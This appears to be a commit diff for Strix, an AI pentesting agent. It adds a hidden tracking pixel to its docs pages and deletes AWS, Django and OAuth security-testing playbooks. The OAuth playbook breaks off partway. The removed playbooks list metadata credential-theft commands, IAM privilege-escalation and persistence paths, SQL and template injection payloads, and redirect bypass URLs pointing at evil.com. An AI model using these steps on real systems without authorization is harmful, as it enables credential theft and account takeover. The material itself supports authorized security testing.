docs: add Vale vocabulary for Strix product/security terms

Co-Authored-By: Alex Schapiro <bearsyankees@gmail.com>

README.md

@@ -275,3 +275,5 @@ Strix builds on the incredible work of open-source projects like [LiteLLM](https
 > Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.
 
 </div>
+
+![](https://static.scarf.sh/a.png?x-pxid=a0ba15dd-a205-4a54-95d6-7814e9ae6b61)

docs/advanced/configuration.mdx

@@ -3,6 +3,10 @@ title: "Configuration"
 description: "Environment variables for Strix"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Configure Strix using environment variables or a config file.
 
 ## LLM Configuration

docs/advanced/skills.mdx

@@ -3,6 +3,10 @@ title: "Skills"
 description: "Specialized knowledge packages that enhance agent capabilities"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Skills are structured knowledge packages that give Strix agents deep expertise in specific vulnerability types, technologies, and testing methodologies.
 
 ## The Idea

docs/cloud/overview.mdx

@@ -3,6 +3,10 @@ title: "Introduction"
 description: "Managed security testing without local setup"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Skip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai).
 
 ## Features

docs/contributing.mdx

@@ -3,6 +3,10 @@ title: "Contributing"
 description: "Contribute to Strix development"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Development Setup
 
 ### Prerequisites

docs/index.mdx

@@ -3,6 +3,10 @@ title: "Introduction"
 description: "Open-source AI hackers to secure your apps"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix are autonomous AI agents that act like real hackers—they run your code dynamically, find vulnerabilities, and validate them with proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
 
 <Frame>

docs/integrations/ci-cd.mdx

@@ -3,6 +3,10 @@ title: "CI/CD Integration"
 description: "Run Strix in any CI/CD pipeline"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix runs in headless mode for automated pipelines.
 
 ## Headless Mode

docs/integrations/github-actions.mdx

@@ -3,6 +3,10 @@ title: "GitHub Actions"
 description: "Run Strix security scans on every pull request"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Integrate Strix into your GitHub workflow to catch vulnerabilities before they reach production.
 
 ## Basic Workflow

docs/llm-providers/anthropic.mdx

@@ -3,6 +3,10 @@ title: "Anthropic"
 description: "Configure Strix with Claude models"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Setup
 
 ```bash

docs/llm-providers/azure.mdx

@@ -3,6 +3,10 @@ title: "Azure OpenAI"
 description: "Configure Strix with OpenAI models via Azure"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Setup
 
 ```bash

docs/llm-providers/bedrock.mdx

@@ -3,6 +3,10 @@ title: "AWS Bedrock"
 description: "Configure Strix with models via AWS Bedrock"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Setup
 
 ```bash

docs/llm-providers/local.mdx

@@ -3,6 +3,10 @@ title: "Local Models"
 description: "Run Strix with self-hosted LLMs for privacy and air-gapped testing"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Running Strix with local models allows for completely offline, privacy-first security assessments. Data never leaves your machine, making this ideal for sensitive internal networks or air-gapped environments.
 
 ## Privacy vs Performance

docs/llm-providers/novita.mdx

@@ -3,6 +3,10 @@ title: "Novita AI"
 description: "Configure Strix with Novita AI models"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 [Novita AI](https://novita.ai) provides fast, cost-efficient inference for open-source models via an OpenAI-compatible API.
 
 ## Setup

docs/llm-providers/openai.mdx

@@ -3,6 +3,10 @@ title: "OpenAI"
 description: "Configure Strix with OpenAI models"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Setup
 
 ```bash

docs/llm-providers/openrouter.mdx

@@ -3,6 +3,10 @@ title: "OpenRouter"
 description: "Configure Strix with models via OpenRouter"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 [OpenRouter](https://openrouter.ai) provides access to 100+ models from multiple providers through a single API.
 
 ## Setup

docs/llm-providers/overview.mdx

@@ -3,6 +3,10 @@ title: "Overview"
 description: "Configure your AI model for Strix"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix uses [LiteLLM](https://docs.litellm.ai/docs/providers) for model compatibility, supporting 100+ LLM providers.
 
 ## Configuration

docs/llm-providers/vertex.mdx

@@ -3,6 +3,10 @@ title: "Google Vertex AI"
 description: "Configure Strix with Gemini models via Google Cloud"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Installation
 
 Vertex AI requires the Google Cloud dependency. Install Strix with the vertex extra:

docs/quickstart.mdx

@@ -3,6 +3,10 @@ title: "Quick Start"
 description: "Install Strix and run your first security scan"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Prerequisites
 
 - Docker (running)

docs/snippets/scarf-pixel.mdx

@@ -0,0 +1,10 @@
+export const ScarfPixel = () => (
+  <img
+    referrerPolicy="no-referrer-when-downgrade"
+    src="https://static.scarf.sh/a.png?x-pxid=a0ba15dd-a205-4a54-95d6-7814e9ae6b61"
+    alt=""
+    width="1"
+    height="1"
+    style={{ position: "absolute", width: 0, height: 0, opacity: 0, pointerEvents: "none" }}
+  />
+);

docs/styles/config/vocabularies/Mintlify/accept.txt

@@ -0,0 +1,34 @@
+agentic
+Caido
+deobfuscation
+deserialization
+Devstral
+[Dd]ocstrings
+exfiltration
+failover
+ffuf
+Firestore
+frontmatter
+fuzzer
+gcloud
+hardcoded
+Kimi
+Langfuse
+LLMs?
+[Mm]isconfigurations?
+Novita
+Ollama
+pentest(ers|ing)?
+pipx
+pull_request
+Pydantic
+spidering
+SQLi
+[Ss]trix
+Supabase
+traceback
+UIs
+untrusted
+uv
+vulns
+[Ww]ordlist

docs/tools/browser.mdx

@@ -3,6 +3,10 @@ title: "Browser"
 description: "Playwright-powered Chrome for web application testing"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix uses a headless Chrome browser via Playwright to interact with web applications exactly like a real user would.
 
 ## How It Works

docs/tools/overview.mdx

@@ -3,6 +3,10 @@ title: "Agent Tools"
 description: "How Strix agents interact with targets"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix agents use specialized tools to test your applications like a real penetration tester would.
 
 ## Core Tools

docs/tools/proxy.mdx

@@ -3,6 +3,10 @@ title: "HTTP Proxy"
 description: "Caido-powered proxy for request interception and replay"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix includes [Caido](https://caido.io), a modern HTTP proxy built for security testing. All browser traffic flows through Caido, giving the agent full control over requests and responses.
 
 ## Capabilities

docs/tools/sandbox.mdx

@@ -3,6 +3,10 @@ title: "Sandbox Tools"
 description: "Pre-installed security tools in the Strix container"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix runs inside a Kali Linux-based Docker container with a comprehensive set of security tools pre-installed. The agent can use any of these tools through the [terminal](/tools/terminal).
 
 ## Reconnaissance

docs/tools/terminal.mdx

@@ -3,6 +3,10 @@ title: "Terminal"
 description: "Bash shell for running commands and security tools"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix has access to a persistent bash terminal running inside the Docker sandbox. This gives the agent access to all [pre-installed security tools](/tools/sandbox).
 
 ## Capabilities

docs/usage/cli.mdx

@@ -3,6 +3,10 @@ title: "CLI Reference"
 description: "Command-line options for Strix"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 ## Basic Usage
 
 ```bash

docs/usage/instructions.mdx

@@ -3,6 +3,10 @@ title: "Custom Instructions"
 description: "Guide Strix with custom testing instructions"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Use instructions to provide context, credentials, or focus areas for your scan.
 
 ## Inline Instructions

docs/usage/scan-modes.mdx

@@ -3,6 +3,10 @@ title: "Scan Modes"
 description: "Choose the right scan depth for your use case"
 ---
 
+import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
+
+<ScarfPixel />
+
 Strix offers three scan modes to balance speed and thoroughness.
 
 ## Quick

strix/skills/cloud/aws.md

@@ -1,231 +0,0 @@
----
-name: aws
-description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
----
-
-# AWS Cloud Security
-
-AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.
-
-## Attack Surface
-
-**Identity**
-- IAM users, roles, groups, policies (inline and managed)
-- Access keys, session tokens, SSO/SAML federation
-- Cross-account roles, trust policies, permission boundaries
-
-**Storage & Data**
-- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings
-- EBS snapshots, RDS snapshots, AMIs shared publicly
-- Secrets Manager, SSM Parameter Store, KMS keys
-
-**Compute**
-- EC2 instances, Lambda functions, ECS/EKS tasks
-- Instance metadata service (IMDSv1/v2) at `169.254.169.254`
-- User data, launch templates, AMIs
-
-**Network**
-- Security groups, NACLs, VPC endpoints, public subnets
-- ELB/ALB/CloudFront misconfigurations
-
-**Management**
-- CloudTrail, Config, GuardDuty gaps
-- Cognito user pools, API Gateway, AppSync
-
-## Reconnaissance
-
-**Credential Discovery**
-- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`
-- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files
-- Hardcoded keys in source, mobile apps, JavaScript bundles
-
-**Unauthenticated Enumeration**
-
-Use two separate checks — they answer different questions and must not be conflated:
-
-**1. Bucket existence (does the name resolve?)**
-
-Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.
-- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.
-- `403 Forbidden` → bucket exists but you lack access (private or wrong account).
-- `404 Not Found` → bucket does not exist in that region, or name is wrong.
-
-```
-aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
-curl -I https://target-bucket.s3.amazonaws.com/
-```
-
-**2. Public listing (is ListBucket granted to anonymous users?)**
-
-Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.
-- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.
-- Failure here does not disprove existence (a private bucket still returns 403 on list).
-
-```
-aws s3 ls s3://target-bucket --no-sign-request
-```
-
-**Authenticated Enumeration (with any credentials)**
-```
-aws sts get-caller-identity
-aws iam get-account-authorization-details 2>/dev/null
-aws iam list-users
-aws iam list-roles
-aws iam list-attached-user-policies --user-name <user>
-aws s3 ls
-aws ec2 describe-instances
-```
-
-## Key Vulnerabilities
-
-### S3 Misconfigurations
-
-- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)
-- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)
-- ListBucket enabled publicly → object key enumeration
-- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`
-
-**Test:**
-```
-aws s3 ls s3://BUCKET --no-sign-request
-aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
-curl https://BUCKET.s3.amazonaws.com/
-```
-
-### IAM Privilege Escalation
-
-Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):
-
-| Permission | Escalation |
-|------------|------------|
-| `iam:CreatePolicyVersion` | Attach admin policy version to self |
-| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |
-| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |
-| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |
-| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |
-| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |
-| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |
-
-**Test:**
-```
-aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
-aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
-```
-
-### Instance Metadata Abuse
-
-**IMDSv1 (no token required)**
-```
-curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
-curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
-curl http://169.254.169.254/latest/user-data
-```
-
-**IMDSv2 bypass contexts**
-- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`
-- Container sidecars without hop limit enforcement
-- Misconfigured proxies allowing link-local access
-
-### Snapshot and Backup Exposure
-
-- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`
-- AMIs with `Public` launch permission containing secrets or keys
-- Backup vaults cross-account without proper isolation
-
-### Lambda and Serverless
-
-- Overprivileged execution roles (`AdministratorAccess` on Lambda role)
-- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)
-- Function URLs or API Gateway without auth
-- Event source mappings triggering on attacker-controlled events
-
-### Cognito Misconfigurations
-
-- Self-signup enabled with elevated default group membership
-- Missing app client secret on confidential flows
-- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)
-- ID token custom claims trusted by backend without verification
-
-### KMS and Secrets
-
-- KMS key policies allowing `Principal: *` or overly broad accounts
-- Secrets Manager secrets readable by unintended roles
-- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers
-
-## Advanced Techniques
-
-**Cross-Account Role Assumption**
-- Find roles trusting `*` or external accounts broadly
-- Confused deputy: service assumes role without external ID validation
-
-**CloudFront Origin Exposure**
-- Origin pointing directly to S3 website or ALB bypassing WAF
-- Signed URL/cookie misconfiguration allowing object access
-
-**Resource-Based Policy Gaps**
-- S3 bucket policy allowing `s3:GetObject` from unintended principals
-- Lambda resource policy `Principal: *` with weak condition keys
-
-## Testing Methodology
-
-1. **Discover credentials** — Keys in code, env, metadata, or SSRF
-2. **Identify principal** — `get-caller-identity`, map effective permissions
-3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds
-4. **Escalation paths** — Run escalation checklist against attached policies
-5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts
-6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)
-
-## Validation
-
-1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)
-2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions
-3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope
-4. Document resource ARN, policy statement, and misconfiguration root cause
-5. Confirm fix would block the specific principal/action/resource combination
-
-## False Positives
-
-- Intentionally public static assets bucket with no sensitive keys
-- Read-only `s3:ListBucket` on empty marketing bucket
-- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)
-- Simulated escalation blocked by permission boundary or SCP
-- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)
-
-## Impact
-
-- Mass data exfiltration from S3/RDS/snapshots
-- Full account or organization compromise via IAM escalation
-- Persistent backdoor access through new keys or roles
-- Regulatory exposure (PII/PCI in unencrypted public buckets)
-
-## Pro Tips
-
-1. Always run `get-caller-identity` first to know your effective principal
-2. Distinguish 403 vs 404 on S3 — both are useful, mean different things
-3. Check instance profile role, not just user credentials, from metadata
-4. Review trust policies on roles, not just permission policies
-5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs
-
-## Tooling
-
-Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.
-
-- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.
-- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:
-  ```
-  git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam
-  pip install -r requirements.txt
-  python enumerate-iam.py --access-key AKIA... --secret-key ...
-  ```
-- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:
-  ```
-  pipx install cloudsplaining
-  aws iam get-account-authorization-details > auth.json
-  cloudsplaining scan --input-file auth.json
-  ```
-- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`
-- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).
-
-## Summary
-
-AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.

strix/skills/frameworks/django.md

@@ -1,214 +0,0 @@
----
-name: django
-description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues
----
-
-# Django
-
-Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.
-
-## Attack Surface
-
-**Core Components**
-- URL routing (`urls.py`), class-based and function views, middleware stack
-- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations
-- Templates (Django template language, Jinja2 if configured)
-- Forms, ModelForms, serializers (DRF)
-
-**Authentication**
-- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`
-- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations
-- Django admin (`/admin/`), staff/superuser flags
-
-**Deployment**
-- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage
-- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)
-
-## High-Value Targets
-
-- `/admin/` — brute force, credential stuffing, IDOR on admin objects
-- API endpoints with mixed permission classes across ViewSets
-- File upload (`FileField`, `ImageField`), import/export (django-import-export)
-- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL
-- Password reset, email verification, invitation tokens
-- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents
-- Celery task triggers accepting user IDs without ownership checks
-
-## Reconnaissance
-
-**Fingerprinting**
-```
-curl -I https://target/ -H "Cookie: sessionid=test"
-# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header
-GET /admin/login/
-GET /api/  /api/v1/  /swagger/  /api/schema/
-```
-
-**Settings Leakage (when DEBUG=True or misconfigured)**
-- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps
-- `/static/`, error pages with stack traces revealing paths and ORM queries
-
-**OpenAPI / DRF**
-```
-GET /api/schema/
-GET /swagger.json
-```
-Map endpoints, authentication classes, and permission classes per route.
-
-## Key Vulnerabilities
-
-### Authentication & Authorization
-
-**Permission Class Gaps**
-- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`
-- Custom permissions checking authentication but not object ownership (IDOR)
-- `@api_view` without explicit permissions inheriting permissive defaults
-- Admin actions or custom management commands without staff checks
-
-**Session Issues**
-- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`
-- Session fixation if session key not rotated on login
-- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)
-
-**JWT (simplejwt)**
-- RS256→HS256 confusion if algorithm pinning is misconfigured
-- Missing `user_id`/`token` blacklist on logout
-- Refresh token rotation not enforced
-
-### Injection
-
-**ORM SQL Injection**
-Vulnerable patterns (more common in legacy code):
-```python
-User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")
-User.objects.extra(where=[f"username = '{user_input}'"])
-```
-Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.
-
-**DRF Filter Backends**
-- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns
-- Ordering injection via `?ordering=` if field whitelist missing
-
-**Template Injection**
-Django templates auto-escape by default; risk rises with:
-```python
-mark_safe(user_input)
-|safe filter in templates
-Template(user_input).render(...)  # SSTI if user controls template source
-```
-Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.
-
-### CSRF
-
-- `@csrf_exempt` on state-changing views
-- DRF session authentication without CSRF enforcement on unsafe methods
-- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)
-- `CSRF_TRUSTED_ORIGINS` too broad
-
-**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.
-
-### IDOR and Mass Assignment
-
-**DRF Serializers**
-- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`
-- `read_only_fields` missing on sensitive ModelSerializer fields
-- Nested writes updating foreign keys across tenants
-
-**Object-Level Permissions**
-- `get_object()` without filtering queryset by request.user
-- Generic views with `queryset = Model.objects.all()` and weak permissions
-
-### File Handling
-
-- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx
-- Path traversal in custom file download views using user-supplied paths
-- SVG/HTML uploads served with `Content-Type` that enables XSS
-- Missing file size/type validation on uploads
-
-### SSRF
-
-- `requests.get(user_url)` in webhooks, preview, import features
-- Celery tasks fetching user URLs server-side
-- Test loopback, metadata IPs, redirect chains
-
-### Host Header / Password Reset
-
-- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns
-- Password reset emails built from `Host` header → poisoned reset links
-- Cache poisoning via unkeyed Host header on cached pages
-
-### Django Admin
-
-- Default `/admin/` path with weak credentials
-- `has_add_permission` / `has_change_permission` overrides with logic bugs
-- ModelAdmin exposing sensitive fields in list_display or export
-
-### Channels / WebSocket
-
-- Consumer accepts connection without session/auth parity to HTTP
-- Group name derived from user input → subscribe to other users' channels
-- Missing origin validation on WebSocket handshake
-
-## Bypass Techniques
-
-- Content negotiation: JSON vs form data hitting different parser/permission paths
-- HTTP method override or trailing slash routing to alternate view
-- Parameter pollution: duplicate `id` fields in query and body
-- Race on state transitions (coupon redemption, inventory) via parallel requests
-- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version
-
-## Testing Methodology
-
-1. **Map surface** — URLs, DRF schema, admin, static/media paths
-2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method
-3. **Object ownership** — Swap IDs across two user accounts on every CRUD route
-4. **Serializer audit** — Identify writable sensitive fields and nested relations
-5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs
-6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents
-7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags
-
-## Validation
-
-1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)
-2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)
-3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)
-4. Document view/serializer/permission class where enforcement failed
-5. Show admin or staff capability gained from regular user context if applicable
-
-## False Positives
-
-- `queryset.filter(user=request.user)` consistently applied including nested routes
-- Object-level permission class correctly validates ownership on all actions
-- DEBUG=False and generic error pages with no settings leakage confirmed
-- Mark_safe used only on server-generated trusted content
-- CSRF correctly enforced on all session-authenticated unsafe methods
-
-## Impact
-
-- Account takeover via session forgery or password reset poisoning
-- Horizontal/vertical privilege escalation through IDOR and mass assignment
-- Data breach via ORM/SQL injection or excessive serializer fields
-- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services
-
-## Pro Tips
-
-1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes
-2. Check `APIView` subclasses for missing `permission_classes` — common oversight
-3. Test `?format=` and browsable API HTML responses for CSRF on session auth
-4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin
-5. Compare ASGI WebSocket consumers against REST permissions for the same resource
-
-## Tooling
-
-Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.
-
-- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`
-- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`
-- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`
-- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`
-
-For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).
-
-## Summary
-
-Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.

strix/skills/protocols/oauth.md

@@ -1,185 +0,0 @@
----
-name: oauth
-description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration
----
-
-# OAuth 2.0 / OIDC
-
-OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.
-
-## Attack Surface
-
-**Flows**
-- Authorization code (with/without PKCE)
-- Implicit (legacy), hybrid, device authorization, client credentials
-- Refresh token rotation, token introspection, revocation
-
-**Endpoints**
-- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`
-- `/.well-known/openid-configuration`, `/jwks.json`
-- Dynamic client registration (if enabled)
-
-**Token Types**
-- Authorization codes, access tokens, refresh tokens, ID tokens
-- Opaque vs JWT formats; reference tokens vs self-contained JWTs
-
-**Client Types**
-- Public clients (SPAs, mobile) vs confidential (server-side)
-- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes
-
-## Reconnaissance
-
-**Discovery**
-```
-GET /.well-known/openid-configuration
-GET /oauth2/.well-known/openid-configuration
-GET /.well-known/oauth-authorization-server
-```
-
-Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.
-
-**Client Enumeration**
-- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes
-- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")
-
-## Key Vulnerabilities
-
-### Redirect URI Manipulation
-
-**Open Redirect Chains**
-- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards
-- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants
-
-```
-https://app.com/callback.evil.com
-https://app.com/callback%2f..%2f@evil.com
-https://app.com/callback?next=https://evil.com
-com.app://callback  (mobile custom scheme)
-```
-
-**Redirect URI Validation Bypasses**
-- Trailing slash, case, port, scheme downgrade (`http` vs `https`)
-- Path normalization differentials between IdP validator and consuming app
-- `redirect_uri` parameter pollution (first vs last wins)
-- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain
-
-### Authorization Code Issues
-
-**Code Leakage**
-- Codes in URL fragments, Referer headers, browser history, server logs, analytics
-- Code replay before expiry; missing one-time-use enforcement
-- Code sent to wrong redirect_uri if binding is weak
-
-**Code Injection / Mix-Up**
-- Attacker initiates flow, victim completes login, code delivered to attacker's redirect
-- Mix-up attack: swap `client_id` between authorize and token steps
-- Missing `redirect_uri` binding at token endpoint
-
-### State and Nonce
-
-- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)
-- Missing `nonce` in OIDC → ID token injection/replay
-- `state` not bound to client session or PKCE verifier
-
-### PKCE Bypass
-
-- `code_challenge_method` downgrade: accept `plain` instead of `S256`
-- Missing PKCE requirement on public clients
-- `code_verifier` not validated or compared case-insensitively with weak matching
-- Authorization code issued without challenge, token endpoint accepts any verifier
-
-### Client Authentication
-
-**Public Client Abuse**
-- Token endpoint accepts requests without `client_secret` for confidential clients
-- `client_id` only authentication on token/introspection endpoints
-- Dynamic registration with attacker-controlled redirect URIs
-
-**Secret Leakage**
-- Hardcoded secrets in mobile apps, SPAs, or public repos
-- `client_secret` accepted in query string or logged in access logs
-
-### Scope and Token Issues
-
-- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes
-- Refresh token not rotated or reuse not detected → persistent access
-- Access token accepted across services (missing audience/resource binding)
-- Token introspection returns `active:true` without proper auth on introspection endpoint
-
-### OpenID Connect Specific
-
-- ID token accepted as access token at resource servers (token confusion)
-- `acr`, `amr`, `auth_time` not validated for step-up requirements
-- Userinfo endpoint returns PII without matching access token scope
-- `sub` collision across issuers if `iss` not validated
-
-## Advanced Techniques
-
-**Referer Leakage**
-- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows
-
-**Device Flow Abuse**
